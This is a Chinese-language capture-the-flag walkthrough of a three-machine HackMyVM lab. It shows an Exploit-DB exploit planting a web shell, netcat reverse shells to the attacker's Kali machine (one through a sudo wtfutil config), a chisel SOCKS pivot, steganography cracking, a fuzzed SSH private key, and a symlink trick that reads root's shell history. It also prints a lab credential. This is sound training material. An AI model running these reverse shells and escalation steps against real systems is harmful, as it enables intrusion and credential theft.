820 字
4 分钟
HackMyvm靶场搭建

环境#

graph LR
a[kali] --> b(hotel)--> c(art)--> d(observer)

kali:

​ eth0:10.1.1.132

​ eth1:192.168.1.101

hotel:

​ eth0:192.168.1.237

art:

​ eth0:192.168.1.27

observer:

​ eth0:192.168.1.129

hotel#

开启kali,已知靶场环境为192.168.1网段,扫描:

netdiscover -i eth1 -r 192.168.1.0/24

img

扫描192.168.1.237开放端口

nmap -T4 -sC -sV -p- -oN hotel.log 192.168.1.237

img

发现80端口,访问:

img

发现当前程序名称及版本号

img

去exploit database上搜索exp

img

发现exp,下载到kali使用

wget https://www.exploit-db.com/download/50754
mv 50754 hotel_exp.py

使用如下命令使用exp

python3 hotel_exp.py -t http://192.168.1.237/ --noauth

img

运行成功,并且已经在网站的dati目录下生成了一个名为selectappartamenti.php的shell。

反弹一个shell到kali上,使用nc反弹

kail:

nc -lvp 6888

浏览器:

http://192.168.1.237/dati/selectappartamenti.php?cmd=nc%20-e%20/bin/bash%20192.168.1.101%206888

img

补全shell功能

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-256color
ctrl+z (按键)
stty raw -echo;fg

在/html目录下获取到账户密码

ttyplay ttylog

img

代理搭建#

使用chisel搭建代理

在kali下下载Chisel并解压

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel
chmod +x chisel

在kali开启http传输供hotel下载chisel

python3 -m http.server 8000

img

hotel下载

cd /tmp
wget http://192.168.1.101:8000/chisel
chmod +x ./chisel

在kali上启动服务端

./chisel server -p 8080 --reverse --socks5

img

在hotel上启动客户端连接

./chisel client 192.168.1.101:8080 R:socks

img

在kali上连接hotel

proxychains ssh person@192.168.1.237

img

art#

通过搭建的代理,进行扫描

img

排除101、237、1、34,确定27与129为靶机

扫描192.168.1.27端口,发现开放22与80

proxychains nmap -T4 -sC -sV -p- -oN art.log 192.168.1.27

img

打开80端口,有注释提示<!-- Need to solve tag parameter problem. -->

img

使用gobuster发现/index.php

proxychains gobuster dir -u http://192.168.1.27 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 400,401,404,500 -x html,php,bak,jpg,txt,zip -t 15

img

尝试模糊测试,发现tag=beauty 返回93字节(不同于普通响应)

创建针对性字典
cat > /tmp/art_words.txt << EOF
beauty
beautiful
image
images
photo
photos
gallery
art
painting
drawing
sculpture
nature
landscape
portrait
color
black
white
flower
tree
city
urban
street
EOF
proxychains ffuf -u "http://192.168.1.27/index.php?tag=ENGLISH" -w /tmp/art_words.txt:ENGLISH -c -ic -t 20 -fs 70

img

验证beauty参数,发现:返回图片dsa32.jpg

proxychains curl -s "http://192.168.1.27/index.php?tag=beauty"

img

将图片下载到kali

proxychains wget http://192.168.1.27/dsa32.jpg

img

进行文件类型检查,确定是真正的JPEG图片

file ./dsa32.jpg

img

进行文件类型分析,只显示JPEG头部,无嵌入式文件

binwalk ./dsa32.jpg

img

进行隐写分析,发现密码及文件,打开文件发现用户名密码

stegseek ./dsa32.jpg

img

登录192.168.1.27

proxychains ssh lion@192.168.1.27
shel0vesyou

img

基本信息收集

whoami
id
uname -a
lsb_release -a

img

检查sudo权限,发现可以无密码运行/bin/wtfutil

sudo -l

img

编辑一个a1.yml,做反弹shell

wtf:
grid:
columns: [20, 20]
rows: [3, 3]
refreshInterval: 1
mods:
uptime:
type: cmdrunner
args: ['-e','/bin/bash','192.168.1.101','1234']
cmd: "nc"
enabled: true
position:
top: 0
left: 0
height: 1
width: 1
refreshInterval: 30

运行

sudo -u root /bin/wtfutil --config=a1.yml

在kali上使用nc,获取反弹

nc -lvnp 1234

img

寻找flag,发现root.txt

find / -iname "root*" 2> /dev/null

img

成功获取flag

img

observer#

首先进行端口扫描,发现22和3333端口

proxychains nmap 192.168.1.129

img

访问3333端口,发现泄露文件路径信息

img

使用模糊搜索,寻找可能的用户瞄准RSA密钥

proxychains wfuzz -c -t 200 --hc=404 --hl=3 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://192.168.1.129:3333/FUZZ/.ssh/id_rsa

img

发现jan的用户ssh密钥

img

保存私钥并使用私钥登录

vi jan_rsa
chmod 600 jan_rsa
proxychains ssh -i jan_rsa jan@192.168.1.129

img

查看基本信息

img

运行有特权的systemctl status命令,发现有一个服务observer正在运行,其可执行文件位于/opt/observer。

/usr/bin/systemctl -l status

img

查看文件权限

ls -la /opt/observer

img

在当前目录创建一个指向/root目录的符号链接,名为root,在网页点击它会跳转到/root/目录

ln -s /root/ root

通过web读取root历史记录,获取root密码

http://192.168.1.129:3333/jan/root/.bash_history

img

登录root

img